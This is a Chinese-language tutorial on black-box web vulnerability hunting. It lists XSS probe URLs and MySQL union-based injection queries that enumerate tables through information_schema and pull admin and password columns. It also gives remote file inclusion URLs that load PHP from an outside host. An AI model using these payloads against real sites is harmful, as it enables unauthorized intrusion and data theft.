作者:7all (sgh81_at_163.com)
WEB漏洞挖掘技術
|=---------------=[ WEB漏洞挖掘技術 ]=-----------------------------=|
|=-----------------------------------------------------------------=|
|=---------------=[ 7all<7all7_at_163.com> ]=----------------------=|
|=---------------=[ bbs.cciss.cn ]=--------------------------------=|
--]前言
漏洞挖掘技術一直是網絡攻擊者最感興趣的問題,漏洞挖掘的範圍也在随着技術的
提升而有所變化.在前期針對緩沖區溢出 格式化字元串 堆溢出 lib庫溢出等技術都
是針對ELF檔案(Linux可執行檔案)或者PE檔案(Win可執行檔案)的漏洞挖掘技術.
在針對ELF檔案 PE檔案(*.exe與*.dll)的漏洞挖掘過程中,出現了很多的漏洞挖掘
技術,但是針對PE檔案 ELF檔案的漏洞挖掘始終停留在了黑盒測試(包括單元黑盒測試)
源代碼審計等辦法.通過RATS等源代碼審計軟體可以找到部分源代碼級别的漏洞資訊,
但是畢竟源代碼審計軟體尋找的多數為strcpy memcpy等存在緩沖區溢出遺患的C函數,
是以通過審計源代碼的辦法來進行漏洞挖掘是一個可能性系數很小的漏洞挖掘技術,而
針對軟體的黑盒子測試雖然也能找到一些軟體的漏洞,但可能性系數也會較小,在國外
的一些進行漏洞挖掘的辦法已經慢慢的提升為自己寫黑盒子測試代碼,然後針對系統或
軟體的某個功能子產品進行子產品化的漏洞挖掘技術.例如Linux核心的很多漏洞都是通過
fuzzing技術找到的,fuzzing即模糊測試的意思,大家可以了解為類似SQL盲注入類型的
攻擊技術.
網絡安全的界限在不斷的提升,目前緩沖區溢出漏洞已經如MS SQL注入般的被很多人
堵死,而在進行網絡入侵滲透的過程中,很多人滲透成功的着力點都是通過WEB開始的,
當然有些人是通過MS SQL注入,有些人通過其它的WEB漏洞技術一步步的走到了入侵成功
的步驟.我們下面将會讨論一些WEB漏洞挖掘的簡單技術,通過這些簡單技術的規則,然後
配合經驗的提高,大家或許會得到意想不到的效果.
--]WEB漏洞的分類
A: SQL注入(包括MSSQL MySQL Oracle等)
SQL注入漏洞,是依靠存在弱點的WEB腳本代碼,來實作通過浏覽器執行任意SQL語句,進而
實作最終擷取某種權限的攻擊技術.SQL注入的關鍵部分在于對中繼資料的利用,所謂中繼資料即
資料庫的基礎資料.例如我們可以通過database() version()來獲得資料庫的名稱及版本,
而我們通過SQL内置函數獲得的這些内容都屬于資料庫中繼資料的内容.了解了中繼資料的概念,
在後面的章節我會給大家簡單的講解下通過中繼資料來擷取MySQL的資料表.
B: 檔案包含類型,如PHP的的遠端 本地檔案包含漏洞
檔案包含漏洞是PHP程式特有的一個弱點攻擊,原理就是在使用include時沒有安全的程式設計,
而能夠找到檔案包含漏洞則是入侵一個WEB系統的很重要的因素,有了檔案包含漏洞則可以
很快速的達到上傳WEBSHELL,然後本地提升權限的作用.
C: XSS
XSS漏洞是被很多人遺忘的漏洞,但是XSS也是一個比較危險的安全隐患,我看到很多國内介紹
XSS漏洞的文章大部分在如何欺騙管理者獲得背景登陸帳戶或者管理者的cookies檔案.但這些
僅僅是XSS漏洞的簡單用法,如果尋找到的XSS漏洞可以任意執行任何的Javascript腳本,那安全
性也是不容忽視的.通過Javascript腳本其實也可以做一些惡意的攻擊,甚至可以獲得一些WEB
程式的源代碼,當然這個要看大家對Javascript腳本的熟悉程度.例如我們這幾天公布的這個可
跨站執行任意Javascript腳本的漏洞,最後我也通過這個漏洞給客戶示範了如何擷取他們的服務
器資訊,并最終實作得到其一定權限的方法.
同時例如session欺騙 cookies欺騙,目前我也把這些規入了XSS漏洞的範圍,當然僅僅研究這
兩個技術也是很值得大家去深入的進行漏洞挖掘的.
--]WEB漏洞挖掘規則
我想給大家事先說明下,該文檔的所有内容都為黑盒子測試的範圍,也即使用這些漏洞挖掘規則,
大家僅僅需要一個WEB浏覽器,如IE Firefox等即可,也無需讀取WEB程式的源代碼,隻要某個規則
符合了漏洞規則的要求,大家即可以采取相關的漏洞攻擊技術進行相應的漏洞攻擊辦法:)
再次的羅嗦一下,在本文檔我沒有實際的例子給大家,但是很多漏洞挖掘的規則都是一些經驗的
積累,而且很多可能在實際進行漏洞挖掘時需要與實際情況進行分析處理,例如:
http://website/index1.php?id=<script>alert("111")</script>,如果對方的代碼過濾了"雙引号
那麼可以通過http://website/index1.php?id=<script>alert('111')</script>,采用'單引号測試
若單引号也過濾呢?OK,我們這樣來測試http://website/index1.php?id=<script>alert(111)</script>
使用數字送出,這樣測試XSS的漏洞就擴充到了三條:)有些具體的站點可能還會有很多的問題,例如:
通過構造HTML語句來實作XSS漏洞的挖掘等等.
A: XSS的漏洞挖掘規則
http://website/index1.php?id=<script>alert("111")</script>
http://website/index1.php?id=<script>alert('111')</script>
http://website/index1.php?id=<script>alert(111)</script>
http://website/index1.php?id=<body+onload=alert("1111")>
http://website/index1.php?id=<body+onload=alert('1111')>
http://website/index1.php?id=<body+onload=alert(1111)>
http://website/index1.php?id=<img+src=http://OtherWebSite/x.gif+onload=alert("1111")>
http://website/index1.php?id=<img+src=http://OtherWebSite/x.gif+onload=alert('1111')>
http://website/index1.php?id=<img+src=http://OtherWebSite/x.gif+onload=alert(1111)>
http://website/index1.php?id=<"
http://website/index1.php?id=<'
http://website/index1.php?id=<
http://website/index1.php?id=<!--
http://website/index1.php?id=-->
http://website/index1.php?id=<!-- -->
使用上面的這些簡單漏洞規則,如果模糊測試一些站點的話,是可以找到一些XSS漏洞的,當然這些
不是全部的XSS漏洞規則,但是我覺得這些規則比較經典些:)我測試一些站點的時候,使用這些
規則基本上可以找到一些XSS漏洞.
B: SQL Injection
現在,MSSQL的注入技術已經變的很簡單,下面的内容我們針對mysql的注入和大家一起讨論下
相關的技術,這些技術有簡單的,也有一些比較複雜的.另外mysql的注入工具目前沒有任何比較
強的工具,目前書寫一款功能較強的MySQL注入檢測工具也基本納入了2007年的計劃内.
下面會針對各種規則,然後對這些規則進行簡單的說明,很多規則我相信大家都用過的,不對
的地方希望大家給予指針.
下面的這四個語句判斷是否存在mysql注入,其中'号類型的測試已經不是很可行,特别在PHP5和mysql
5的環境下:)
http://website/index1.php?id=1'
http://website/index1.php?id=1 and 1=1
http://website/index1.php?id=1 and 1=2
http://website/index1.php?id=1 order by 4 //4為判斷該表的列數,直到猜測到為止
下面的語句來擷取mysql的一些資訊,這裡我們假設我們使用order by語句判斷出的列數為4
http://website/index1.php?id=1 and 1=1 union select 1,2,3,4
http://website/index1.php?id=1 and 1=1 union select version(),database(),user(),4
http://website/index1.php?id=1 and 1=1 union select 1/*
http://website/index1.php?id=1 and 1=1 union select version()/*
http://website/index1.php?id=1 and 1=1 union select databse()/*
猜測表名:
http://website/index1.php?id=1 and 1=1 union select 1,2,3,4 from database.table where 1=2
//where 1=2 不列印猜測表的内容
這裡的猜測就需要大家多靠經驗了,如admin user articles news等等,而且必須在指定select
的字段個數再使用,否則mysql會報錯.
http://website/index1.php?id=1 and 1=1 union select table_schema,table_name,table_rows,
table_count from information_schema.tables //如果執行這條語句是可行的,那麼恭喜大家可以
得到更多的資料庫資訊了:)
上面我曾經提到過使用資料庫的中繼資料來擷取mysql的資訊,就是這裡的這個辦法,當然前提是系統
管理者沒有禁止mysql普通使用者對中繼資料庫的表查詢,如果禁止了則該辦法是無效的.
在開始分析mysql資料庫到底可以執行到那種程度的注入情況下,我花了一天的時間分析了mysql的
系統架構,最終發現通過information_schema資料庫提供給mysql使用者的中繼資料可以得到一些mysql
資料庫的基本資訊,例如得到資料庫的各個表資訊等,還可以得到資料庫的權限設定等資訊,下面的
内容屬于臨時增加的一個章節,我們一起來讨論下information_schema資料庫的一些我們用到的表
的具體字段到底是幹什麼的:)
1: KEY_COLUMN_USAGE表
constraint_schema: 存放資料庫名
table_schema: 存放資料庫名
table_name: 存放資料庫表資訊
column_name: 存放資料庫的字段資訊,一般可以擷取第一個字段或者自增字段的資訊
2: SCHEMA表
schema_name: 存放資料庫名
default_charater_set_name: 存放charset類型
default_collation_name: 存放charset相關資訊
3: SCHEMA_PRIVILEGES表
grantee: 存放資料庫使用者名
table_schema: 表名
privilege_type: 權限
4: STATISTICS表
table_name: 存放表名
index_schema: 資料庫名
index_name: 是否縮引?
column_name: 存放索引自增字段?
5: TABLES表
table_type: 表類型 SYSTEM or BASE TABLE
engin: MEMORY MYISAM InnoDB
version:
table_rows:表的行數
auto_increment: 自增的總行數
create_time: 建立表的時間
update_time: 更新表的時間
create_options: 建立表時的限制條件
...
有了這些以後,如果對方系統管理者忽略了這些,則可以達到我們不需要猜測表名而
直接擷取資料庫表名的結果.我在本地測試時一切OK:)
猜測列名:
http://website/index1.php?id=1 and 1=1 union select username,2,3,4 from user where 1=2
按照這個規則依次類推,如果我們猜測到user表存在username字段,則程式執行是正常的,否則程式會
出錯,也可以使用where 1=1來列印表的資訊,通過這樣的辦法就可以擷取mysql資料庫的某些關鍵表
的字段資訊,如:admin與password:)
C: 檔案包含漏洞
檔案包含漏洞的測試,有以下幾個比較簡單且有效的辦法.
1: 建立一個簡單的php代碼,如:<? phpinfo(); ?>,儲存為*.txt格式
2: 建立一個簡單的php代碼,如:<? phpinfo(); ?>,儲存為無字尾格式
然後我們測試時隻需要采取下面簡單的辦法即可,這裡我們假設我們下面的檔案URL為:
http://bbs.cciss.cn/include.txt
http://bbs.cciss.cn/include
漏洞規則:
http://website/file.php?inc=http://bbs.cciss.cn/include.txt
http://website/file.php?inc=http://bbs.cciss.cn/include.txt?
http://website/file.php?inc=http://bbs.cciss.cn/include?
http://website/file.php?inc=http://bbs.cciss.cn/include